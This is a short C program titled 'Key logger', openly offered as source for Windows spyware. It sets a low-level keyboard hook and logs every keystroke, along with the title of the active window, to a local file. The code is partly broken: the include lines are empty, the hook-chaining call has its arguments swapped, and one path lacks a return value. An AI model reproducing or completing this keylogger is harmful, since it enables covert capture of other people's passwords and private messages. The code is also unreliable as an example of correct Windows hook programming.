Key logger

#include
#include
#include
#include

#define VK_PERIOD '.'

#define FILENAME "log.txt"

HWND OldForegroundWindow;
HWND CurrentForegroundWindow;
HHOOK Hook;
char WindowName[256];

LRESULT CALLBACK KeyboardHook(int Code,WPARAM wParam, LPARAM lParam);
void CheckKey(int key);

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
time_t rawtime;
struct tm* time_info;
time(&rawtime);
time_info = localtime(&rawtime);

FILE *Log = fopen(FILENAME,"a+");
fprintf(Log,"\n\n Logging started at: %s \n\n",asctime(time_info));
fclose(Log);

Hook = SetWindowsHookEx(WH_KEYBOARD_LL,KeyboardHook,hInstance,0);
while(GetMessage(0,0,0,0));

return UnhookWindowsHookEx(Hook);
}

LRESULT CALLBACK KeyboardHook(int Code,WPARAM wParam, LPARAM lParam)
{
if( Code == HC_ACTION && wParam == WM_KEYDOWN )
{
if(OldForegroundWindow != (CurrentForegroundWindow = GetForegroundWindow()) )
{
FILE *File = fopen(FILENAME,"a+");
ZeroMemory(WindowName,256);
GetWindowText(CurrentForegroundWindow,WindowName,256);
fprintf(File,"\n\n [ %s ] \n\n",&WindowName);
fclose(File);

OldForegroundWindow = CurrentForegroundWindow;
CurrentForegroundWindow = NULL;
}
CheckKey(((PKBDLLHOOKSTRUCT)lParam)->vkCode);
return CallNextHookEx(Hook,Code,lParam,wParam);
}
}

void CheckKey(int Key)
{
FILE *Log = fopen(FILENAME,"a+");

switch( Key )
{
case VK_TAB:
fprintf(Log,"[TAB]",0);
break;

case VK_RETURN:
fprintf(Log,"[ENTER]",0);
break;

case VK_SPACE:
fprintf(Log," ",0);
break;

case VK_PERIOD:
fprintf(Log,".",0);
break;

default:
if(Key >= 48 && Key <= 90)fprintf(Log,"%c",GetKeyState(VK_CAPITAL)?Key:(Key+32));
};
fclose(Log);
}